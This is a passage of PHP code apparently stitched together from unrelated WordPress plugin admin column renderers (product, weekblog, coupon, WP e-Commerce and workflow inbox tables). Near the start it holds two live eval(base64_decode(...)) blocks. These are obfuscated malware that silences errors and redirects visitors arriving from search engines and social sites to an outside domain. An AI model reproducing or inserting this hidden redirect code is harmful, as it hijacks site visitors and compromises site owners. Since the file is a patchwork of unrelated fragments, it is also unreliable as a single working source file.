href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>'); if ($left) { echo '</strong>'; } ?> </div></td> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJ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goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); do_action('manage_pages_custom_column', $column_name, $id); ?> </td> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVm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XJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); }
/** * Ouput custom columns for products * @param string $column */ function render_bestbuy_bestsell_product_columns($column) { global $post; $post_meta = get_post_meta($post->ID); //current_market_price //print_r( $post_meta ); exit; switch ($column) { case 'thumb': echo '<a href="' . get_edit_post_link($post->ID) . '">' . get_image('thumbnail', $post->ID, '') . '</a>'; break; case 'name': $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID); echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . $title . '</a>'; _post_states($post); echo '</strong>'; if ($post->post_parent > 0) { echo ' ← <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>'; } // Excerpt view if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) { echo apply_filters('the_excerpt', $post->post_excerpt); } // Get actions $actions = array(); $actions['id'] = 'ID: ' . $post->ID; if ($can_edit_post && 'trash' != $post->post_status) { $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item', TEXTDOMAIN)) . '">' . __('Edit', TEXTDOMAIN) . '</a>'; $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', TEXTDOMAIN)) . '">' . __('Quick Edit', TEXTDOMAIN) . '</a>'; } if (current_user_can($post_type_object->cap->delete_post, $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = '<a title="' . esc_attr(__('Restore this item from the Trash', TEXTDOMAIN)) . '" href="' . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . '">' . __('Restore', TEXTDOMAIN) . '</a>'; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = '<a class="submitdelete" title="' . esc_attr(__('Move this item to the Trash', TEXTDOMAIN)) . '" href="' . get_delete_post_link($post->ID) . '">' . __('Trash', TEXTDOMAIN) . '</a>'; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = '<a class="submitdelete" title="' . esc_attr(__('Delete this item permanently', TEXTDOMAIN)) . '" href="' . get_delete_post_link($post->ID, '', true) . '">' . __('Delete Permanently', TEXTDOMAIN) . '</a>'; } } if ($post_type_object->public) { if (in_array($post->post_status, array('pending', 'draft', 'future'))) { if ($can_edit_post) { $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview “%s”', TEXTDOMAIN), $title)) . '" rel="permalink">' . __('Preview', TEXTDOMAIN) . '</a>'; } } elseif ('trash' != $post->post_status) { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”', TEXTDOMAIN), $title)) . '" rel="permalink">' . __('View', TEXTDOMAIN) . '</a>'; } } $actions = apply_filters('post_row_actions', $actions, $post); echo '<div class="row-actions">'; $i = 0; $action_count = sizeof($actions); foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo '<span class="' . $action . '">' . $link . $sep . '</span>'; } echo '</div>'; get_inline_data($post); /* Custom inline data for bestbuy_bestsell */ echo '<div class="hidden" id="bestbuy_bestsell_inline_' . $post->ID . '"> <div class="menu_order">' . $post->menu_order . '</div> <div class="bestbuy_bestsell_price">' . $post_meta['current_market_price'][0] . '</div> </div>'; break; case 'cmp': echo get_bestbuy_bestsell_product_price_html($post_meta) ? get_bestbuy_bestsell_product_price_html($post_meta) : '<span class="na">–</span>'; break; case 'bestbuy_bestsell_product_category': case 'bestbuy_bestsell_product_tag': if (!($terms = get_the_terms($post->ID, $column))) { echo '<span class="na">–</span>'; } else { foreach ($terms as $term) { $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=inmid_product') . ' ">' . $term->name . '</a>'; } echo implode(', ', $termlist); } break; default: break; } }
/** * Output HTML for the column of a specific xtecweekblog. * * @param string $column Column name. * @param string $post_id Post ID. */ function xtecweekblog_custom_columns($column, $post_id) { global $post; switch ($column) { case "_xtecweekblog-name": $custom = get_post_custom($post_id); echo '<strong>'; echo '<span class="row-title" style="color:#21759B">' . $custom["_xtecweekblog-name"][0] . '</span>'; _post_states($post); echo '</strong>'; if (xtecweekblog_validate_name($post_id)) { // valid weekblog, print name and URL echo "<p><a href='" . network_site_url() . $custom["_xtecweekblog-name"][0] . "'>" . network_site_url() . $custom["_xtecweekblog-name"][0] . "</a></p>"; } else { // invalid weekblog, print invalid name and notify echo '<p style="color:#FF0000">' . __('Invalid name', 'xtecweekblog') . '</p>'; } // print row actions | extracted from WordPress 3.1.2 core $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post_id); $actions = array(); if ($can_edit_post && 'trash' != $post->post_status) { $actions['edit'] = '<a href="' . get_edit_post_link($post_id, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>'; $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick Edit') . '</a>'; } if (current_user_can($post_type_object->cap->delete_post, $post_id)) { if ('trash' == $post->post_status) { $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash', 'xtecweekblog')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post_id)), 'untrash-' . $post->post_type . '_' . $post_id) . "'>" . __('Restore', 'xtecweekblog') . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash', 'xtecweekblog')) . "' href='" . get_delete_post_link($post_id) . "'>" . __('Trash', 'xtecweekblog') . "</a>"; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently', 'xtecweekblog')) . "' href='" . get_delete_post_link($post_id, '', true) . "'>" . __('Delete Permanently', 'xtecweekblog') . "</a>"; } } if (in_array($post->post_status, array('pending', 'draft'))) { if ($can_edit_post) { $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post_id))) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview', 'xtecweekblog') . '</a>'; } } elseif ('trash' != $post->post_status) { $actions['view'] = '<a href="' . get_permalink($post_id) . '" title="' . esc_attr(sprintf(__('View “%s”', 'xtecweekblog'), $custom["_xtecweekblog-name"][0])) . '" rel="permalink">' . __('View', 'xtecweekblog') . '</a>'; } $actions = apply_filters(is_post_type_hierarchical($post->post_type) ? 'page_row_actions' : 'post_row_actions', $actions, $post); echo xtecweekblog_row_actions($actions); get_inline_data($post); break; case "_xtecweekblog-description": $custom = get_post_custom($post_id); if (xtecweekblog_validate_description($post_id)) { echo $custom["_xtecweekblog-description"][0]; } else { echo '<p style="color:#FF0000">' . __('Description is not defined', 'xtecweekblog') . '</p>'; } break; case 'thumbnail': if (xtecweekblog_validate_image($post_id)) { if (!xtecweekblog_validate_image_size($post_id)) { echo '<p style="color:#FF0000">' . __('Image size is too small', 'xtecweekblog') . '</p>'; } echo get_the_post_thumbnail($post_id, 'xtecweekblog'); } else { echo '<p style="color:#FF0000">' . __('Custom Image is not defined', 'xtecweekblog') . '</p>'; } break; case 'week': echo mysql2date('W', $post->post_date); break; } }
/** * Output custom columns for coupons * * @param string $column */ public function render_shop_coupon_columns($column) { global $post, $woocommerce; switch ($column) { case 'coupon_code': $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); echo '<strong><a href="' . esc_attr($edit_link) . '" class="row-title">' . esc_html($title) . '</a></strong>'; _post_states($post); $this->_render_shop_coupon_row_actions($post, $title); break; case 'type': echo esc_html(wc_get_coupon_type(get_post_meta($post->ID, 'discount_type', true))); break; case 'amount': echo esc_html(get_post_meta($post->ID, 'coupon_amount', true)); break; case 'products': $product_ids = get_post_meta($post->ID, 'product_ids', true); $product_ids = $product_ids ? array_map('absint', explode(',', $product_ids)) : array(); if (sizeof($product_ids) > 0) { echo esc_html(implode(', ', $product_ids)); } else { echo '–'; } break; case 'usage_limit': $usage_limit = get_post_meta($post->ID, 'usage_limit', true); if ($usage_limit) { echo esc_html($usage_limit); } else { echo '–'; } break; case 'usage': $usage_count = absint(get_post_meta($post->ID, 'usage_count', true)); $usage_limit = esc_html(get_post_meta($post->ID, 'usage_limit', true)); $usage_url = sprintf('<a href="%s">%s</a>', admin_url(sprintf('edit.php?s=%s&post_status=all&post_type=shop_order', esc_html($post->post_title))), $usage_count); if ($usage_limit) { printf(__('%s / %s', 'woocommerce'), $usage_url, $usage_limit); } else { printf(__('%s / ∞', 'woocommerce'), $usage_url); } break; case 'expiry_date': $expiry_date = get_post_meta($post->ID, 'expiry_date', true); if ($expiry_date) { echo esc_html(date_i18n('F j, Y', strtotime($expiry_date))); } else { echo '–'; } break; case 'description': echo wp_kses_post($post->post_excerpt); break; } }
function default_column_title($result, $item) { // // Setup actions. // $actions = array(); $params = array('post' => $item->ID); // // Add edit action. // if ($item->post_status != 'trash') { $edit_url = admin_url('post.php?post=' . $item->ID . '&action=edit'); $actions['edit'] = sprintf(__('<a href="%s">Edit</a>', '__x__'), $edit_url); } // // Add trash action. // if ($this->args['use_trash']) { if ($item->post_status == 'trash') { $untrash_params = array('_untrash_nonce' => wp_create_nonce('untrash_' . $item->ID), 'action' => 'untrash'); $actions['untrash'] = sprintf(__('<a href="%s">Restore</a>', '__x__'), add_query_arg(array_merge($params, $untrash_params), $this->get_admin_url())); $delete_params = array('_delete_nonce' => wp_create_nonce('delete_' . $item->ID), 'action' => 'delete'); $actions['delete'] = sprintf(__('<a href="%s">Delete Permanently</a>', '__x__'), add_query_arg(array_merge($params, $delete_params), $this->get_admin_url())); } else { $trash_params = array('_trash_nonce' => wp_create_nonce('trash_' . $item->ID), 'action' => 'trash'); $actions['trash'] = sprintf(__('<a href="%s">Trash</a>', '__x__'), add_query_arg(array_merge($params, $trash_params), $this->get_admin_url())); } } $title = apply_filters('the_title', $item->post_title); ob_start(); echo '<strong>'; if ($edit_url == '') { echo $title; } else { echo '<a class="row-title" href="' . $edit_url . '" title="' . __('Edit', '__x__') . '">' . $title . '</a>'; } _post_states($item); echo '</strong>'; echo $this->row_actions(apply_filters('x_' . $this->args['name'] . '_list_table_title_actions', $actions, $params)); return ob_get_clean(); }
/** * Spits out the current products details in a table row for manage products page and variations on edit product page. * @access public * * @deprecated since 3.8.9 * @since 3.8 * @param $product (Object), $parent_product (Int) Note: I believe parent_product is unused */ function wpsc_product_row(&$product, $parent_product = null) { _wpsc_deprecated_function(__FUNCTION__, '3.8.9'); global $mode, $current_user, $wpsc_products; //is this good practice? <*****@*****.**> static $rowclass, $object_terms_cache = array(); // store terms associated with variants inside a cache array. This only requires 1 DB query. if (empty($object_terms_cache)) { $ids = wp_list_pluck($wpsc_products, 'ID'); $object_terms = wp_get_object_terms($ids, 'wpsc-variation', array('fields' => 'all_with_object_id')); foreach ($object_terms as $term) { if (!array_key_exists($term->object_id, $object_terms_cache)) { $object_terms_cache[$term->object_id] = array(); } $object_terms_cache[$term->object_id][$term->parent] = $term->name; } } $global_product = $product; setup_postdata($product); $product_post_type_object = get_post_type_object('wpsc-product'); $current_user_can_edit_this_product = current_user_can($product_post_type_object->cap->edit_post, $product->ID); $rowclass = 'alternate' == $rowclass ? '' : 'alternate'; $post_owner = $current_user->ID == $product->post_author ? 'self' : 'other'; $edit_link = get_edit_post_link($product->ID); if (isset($object_terms_cache[$product->ID])) { ksort($object_terms_cache[$product->ID]); $title = implode(', ', $object_terms_cache[$product->ID]); } else { $title = get_the_title($product->ID); } if (empty($title)) { $title = __('(no title)', 'wp-e-commerce'); } ?> <tr id='post-<?php echo $product->ID; ?> ' class='<?php echo trim($rowclass . ' author-' . $post_owner . ' status-' . $product->post_status); ?> iedit <?php if (get_option('wpsc_sort_by') == 'dragndrop') { echo 'product-edit'; } ?> ' valign="top"> <?php $posts_columns = get_column_headers('wpsc-product_variants'); if (empty($posts_columns)) { $posts_columns = array('image' => '', 'title' => __('Name', 'wp-e-commerce'), 'weight' => __('Weight', 'wp-e-commerce'), 'stock' => __('Stock', 'wp-e-commerce'), 'price' => __('Price', 'wp-e-commerce'), 'sale_price' => __('Sale Price', 'wp-e-commerce'), 'SKU' => __('SKU', 'wp-e-commerce'), 'hidden_alerts' => ''); } foreach ($posts_columns as $column_name => $column_display_name) { $attributes = "class=\"{$column_name} column-{$column_name}\""; switch ($column_name) { case 'date': /* !date case */ if ('0000-00-00 00:00:00' == $product->post_date && 'date' == $column_name) { $t_time = $h_time = __('Unpublished', 'wp-e-commerce'); $time_diff = 0; } else { $t_time = get_the_time(__('Y/m/d g:i:s A', 'wp-e-commerce')); $m_time = $product->post_date; $time = get_post_time('G', true, $post); $time_diff = time() - $time; if ($time_diff > 0 && $time_diff < 24 * 60 * 60) { $h_time = sprintf(__('%s ago', 'wp-e-commerce'), human_time_diff($time)); } else { $h_time = mysql2date(__('Y/m/d', 'wp-e-commerce'), $m_time); } } echo '<td ' . $attributes . '>'; if ('excerpt' == $mode) { echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode); } else { echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>'; } echo '<br />'; if ('publish' == $product->post_status) { _e('Published', 'wp-e-commerce'); } elseif ('future' == $product->post_status) { if ($time_diff > 0) { echo '<strong class="attention">' . __('Missed schedule', 'wp-e-commerce') . '</strong>'; } else { _e('Scheduled', 'wp-e-commerce'); } } else { _e('Last Modified', 'wp-e-commerce'); } echo '</td>'; break; case 'title': /* !title case */ $attributes = 'class="post-title column-title"'; $edit_link = wp_nonce_url($edit_link, 'edit-product_' . $product->ID); ?> <td <?php echo $attributes; ?> > <strong> <?php if ($current_user_can_edit_this_product && $product->post_status != 'trash') { ?> <span><a class="row-title" href="<?php echo esc_url($edit_link); ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”', 'wp-e-commerce'), $title)); ?> "><?php echo esc_html($title); ?> </a></span> <?php if ($parent_product) { ?> <a href="<?php echo esc_url($edit_link); ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”', 'wp-e-commerce'), $title)); ?> "><?php echo esc_html($title); ?> </a> <?php } ?> <?php } else { echo esc_html($title); } _post_states($product); $product_alert = apply_filters('wpsc_product_alert', array(false, ''), $product); if (!empty($product_alert['messages'])) { $product_alert['messages'] = implode("\n", (array) $product_alert['messages']); } if ($product_alert['state'] === true) { ?> <img alt='<?php echo $product_alert['messages']; ?> ' title='<?php echo $product_alert['messages']; ?> ' class='product-alert-image' src='<?php echo WPSC_CORE_IMAGES_URL; ?> /product-alert.jpg' alt='' /> <?php } // If a product alert has stuff to display, show it. // Can be used to add extra icons etc if (!empty($product_alert['display'])) { echo $product_alert['display']; } ?> </strong> <?php $has_var = ''; if (!$parent_product && wpsc_product_has_children($product->ID)) { $has_var = 'wpsc_has_variation'; } $actions = array(); if ($current_user_can_edit_this_product && 'trash' != $product->post_status) { $actions['edit'] = '<a class="edit-product" href="' . $edit_link . '" title="' . esc_attr__('Edit this product', 'wp-e-commerce') . '">' . __('Edit', 'wp-e-commerce') . '</a>'; //commenting this out for now as we are trying new variation ui quick edit boxes are open by default so we dont need this link. //$actions['quick_edit'] = "<a class='wpsc_editinline ".$has_var."' title='".esc_attr(__('Quick Edit', 'wp-e-commerce'))."' href='#'>".__('Quick Edit', 'wp-e-commerce')."</a>"; } $actions = apply_filters('post_row_actions', $actions, $product); $action_count = count($actions); $i = 0; echo '<div class="row-actions">'; foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo "<span class='{$action}'>{$link}{$sep}</span>"; } echo '</div>'; ?> </td> <?php break; case 'image': /* !image case */ ?> <td class="product-image "> <?php $attachment_args = array('post_type' => 'attachment', 'numberposts' => 1, 'post_status' => null, 'post_parent' => $product->ID, 'orderby' => 'menu_order', 'order' => 'ASC'); if (isset($product->ID) && has_post_thumbnail($product->ID)) { echo get_the_post_thumbnail($product->ID, 'admin-product-thumbnails'); } else { $image_url = WPSC_CORE_IMAGES_URL . "/no-image-uploaded.gif"; ?> <img title='<?php esc_attr_e('Drag to a new position', 'wp-e-commerce'); ?> ' src='<?php echo esc_url($image_url); ?> ' alt='<?php echo esc_attr($title); ?> ' width='38' height='38' /> <?php } ?> </td> <?php break; case 'price': /* !price case */ $price = get_product_meta($product->ID, 'price', true); ?> <td <?php echo $attributes; ?> > <?php echo wpsc_currency_display($price); ?> <input type="text" class="wpsc_ie_field wpsc_ie_price" value="<?php echo esc_attr($price); ?> "> <a href="<?php echo $edit_link; ?> /#wpsc_downloads"><?php esc_html_e('Variant Download Files', 'wp-e-commerce'); ?> </a> </td> <?php break; case 'weight': $product_data['meta'] = array(); $product_data['meta'] = get_post_meta($product->ID, ''); foreach ($product_data['meta'] as $meta_name => $meta_value) { $product_data['meta'][$meta_name] = maybe_unserialize(array_pop($meta_value)); } $product_data['transformed'] = array(); if (!isset($product_data['meta']['_wpsc_product_metadata']['weight'])) { $product_data['meta']['_wpsc_product_metadata']['weight'] = ""; } if (!isset($product_data['meta']['_wpsc_product_metadata']['weight_unit'])) { $product_data['meta']['_wpsc_product_metadata']['weight_unit'] = ""; } $product_data['transformed']['weight'] = wpsc_convert_weight($product_data['meta']['_wpsc_product_metadata']['weight'], "pound", $product_data['meta']['_wpsc_product_metadata']['weight_unit'], false); $weight = $product_data['transformed']['weight']; if ($weight == '') { $weight = '0'; } ?> <td <?php echo $attributes; ?> > <span><?php echo esc_html($weight); ?> </span> <input type="text" class="wpsc_ie_field wpsc_ie_weight" value="<?php echo esc_attr($weight); ?> "> <a href="<?php echo $edit_link; ?> /#wpsc_tax"><?php esc_html_e('Set Variant Tax', 'wp-e-commerce'); ?> </a> </td> <?php break; case 'stock': $stock = get_post_meta($product->ID, '_wpsc_stock', true); ?> <td <?php echo $attributes; ?> > <span><?php echo $stock ? $stock : __('N/A', 'wp-e-commerce'); ?> </span> <input type="text" class="wpsc_ie_field wpsc_ie_stock" value="<?php echo esc_attr($stock); ?> "> <a href="<?php echo $edit_link; ?> /#wpsc_shipping"><?php esc_html_e('Set Variant Shipping', 'wp-e-commerce'); ?> </a> </td> <?php break; case 'categories': /* !categories case */ ?> <td <?php echo $attributes; ?> ><?php $categories = get_the_product_category($product->ID); if (!empty($categories)) { $out = array(); foreach ($categories as $c) { $out[] = "<a href='admin.php?page=wpsc-edit-products&category={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')) . "</a>"; } echo join(', ', $out); } else { esc_html_e('Uncategorized', 'wp-e-commerce'); } ?> </td> <?php break; case 'tags': /* !tags case */ ?> <td <?php echo $attributes; ?> ><?php $tags = get_the_tags($product->ID); if (!empty($tags)) { $out = array(); foreach ($tags as $c) { $out[] = "<a href='edit.php?tag={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . "</a>"; } echo join(', ', $out); } else { esc_html_e('No Tags', 'wp-e-commerce'); } ?> </td> <?php break; case 'SKU': $sku = get_post_meta($product->ID, '_wpsc_sku', true); ?> <td <?php echo $attributes; ?> > <span><?php echo $sku ? $sku : esc_html__('N/A', 'wp-e-commerce'); ?> </span> <input type="text" class="wpsc_ie_field wpsc_ie_sku" value="<?php echo esc_attr($sku); ?> "> <input type="hidden" class="wpsc_ie_id wpsc_ie_field" value="<?php echo $product->ID; ?> "> <div class="wpsc_inline_actions"><input type="button" class="button-primary wpsc_ie_save" value="Save"><img src="<?php echo admin_url('images/wpspin_light.gif'); ?> " class="loading_indicator"><br/></div> </td> <?php break; case 'sale_price': $sale_price = get_post_meta($product->ID, '_wpsc_special_price', true); ?> <td <?php echo $attributes; ?> > <span><?php echo wpsc_currency_display($sale_price); ?> </span> <input type="text" class="wpsc_ie_field wpsc_ie_special_price" value="<?php echo esc_attr($sale_price); ?> "> </td> <?php break; case 'comments': /* !comments case */ ?> <td <?php echo $attributes; ?> ><div class="post-com-count-wrapper"> <?php $pending_phrase = sprintf(__('%s pending', 'wp-e-commerce'), number_format($pending_comments)); if ($pending_comments) { echo '<strong>'; } comments_number("<a href='edit-comments.php?p={$product->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count', 'wp-e-commerce') . '</span></a>', "<a href='edit-comments.php?p={$product->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count', 'wp-e-commerce') . '</span></a>', "<a href='edit-comments.php?p={$product->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count', 'wp-e-commerce') . '</span></a>'); if ($pending_comments) { echo '</strong>'; } ?> </div></td> <?php break; case 'author': /* !author case */ ?> <td <?php echo $attributes; ?> ><a href="edit.php?author=<?php the_author_meta('ID'); ?> "><?php the_author(); ?> </a></td> <?php break; case 'control_view': /* !control view case */ ?> <td><a href="<?php the_permalink(); ?> " rel="permalink" class="view"><?php esc_html_e('View', 'wp-e-commerce'); ?> </a></td> <?php break; case 'control_edit': /* !control edit case */ ?> <td><?php if ($current_user_can_edit_this_product) { echo "<a href='{$edit_link}' class='edit'>" . esc_html__('Edit', 'wp-e-commerce') . "</a>"; } ?> </td> <?php break; case 'control_delete': /* !control delete case */ ?> <td><?php if ($current_user_can_edit_this_product) { echo "<a href='" . wp_nonce_url("post.php?action=delete&post={$id}", 'delete-post_' . $product->ID) . "' class='delete'>" . __('Delete', 'wp-e-commerce') . "</a>"; } ?> </td> <?php break; case 'featured': /* !control featured case */ ?> <td><?php do_action('manage_posts_featured_column', $product->ID); ?> </td> <?php break; default: /* !default case */ ?> <td <?php echo $attributes; ?> ><?php do_action('manage_posts_custom_column', $column_name, $product->ID); ?> </td> <?php break; } } ?> </tr> <?php $product = $global_product; }
/*Check due date and make post item background color in red to notify the admin*/ $ow_email = new OW_Email(); $current_date = Date(" F j, Y "); $due_date = OW_Utility::instance()->format_date_for_display($inbox_item->due_date); $past_due_date_row_class = ''; $past_due_date_field_class = ''; if ($due_date != "" && strtotime($due_date) < strtotime($current_date)) { $past_due_date_row_class = 'past-due-date-row'; $past_due_date_field_class = 'past-due-date-field'; } echo "<tr id='post-{$inbox_item->post_id}'\n \tclass='post-{$inbox_item->post_id} post type-post {$past_due_date_row_class}\n \tstatus-pending format-standard hentry category-uncategorized alternate iedit author-other'> "; $workflow_action_id = esc_attr($inbox_item->post_id); echo "<th scope='row' class='check-column'>\n\t\t\t\t\t\t\t\t\t<input type='checkbox' name='post[]' value={$workflow_action_id} wfid='{$inbox_item->ID}'></th>"; echo "<td><strong>{$post->post_title}"; // TODO : see if we can find a better solution instead of using _post_states _post_states($post); echo "</strong>"; // create the action list if ($needs_to_be_claimed) { // if the item needs to be claimed, only "Claim" action is visible echo "<div class='row-actions'>\n\t\t\t\t\t\t\t\t\t\t\t<span>\n\t\t\t\t\t\t\t\t\t\t\t\t<a href='#' class='claim' actionid={$inbox_item->ID}>" . __("Claim", "oasisworkflow") . "</a>\n\t\t\t\t\t\t\t\t\t\t\t\t<span class='loading'>{$space}</span>\n\t\t\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t\t\t</div>"; } else { echo "<div class='row-actions'>"; if ($is_post_editable || $user->ID == $current_user_id) { echo "<span><a href='post.php?post={$inbox_item->post_id}&action=edit&oasiswf={$inbox_item->ID}&user={$selected_user}' class='edit' real={$inbox_item->post_id}>" . __("Edit", "oasisworkflow") . "</a></span> | "; } echo "<span><a target='_blank' href='" . get_permalink($inbox_item->post_id) . "&preview=true'>" . __("View", "oasisworkflow") . "</a></span> | "; if (current_user_can('ow_sign_off_step') && $is_post_editable || $user->ID == $current_user_id) { echo "<span>\n\t\t\t\t\t\t\t\t\t\t\t\t<a href='#' wfid='{$inbox_item->ID}' postid='{$inbox_item->post_id}' class='quick_sign_off'>" . $sign_off_label . "</a>\n\t\t\t\t\t\t\t\t\t\t\t\t<span class='loading'>{$space}</span>\n\t\t\t\t\t\t\t\t\t\t\t</span> | "; } if (current_user_can('ow_reassign_task')) {
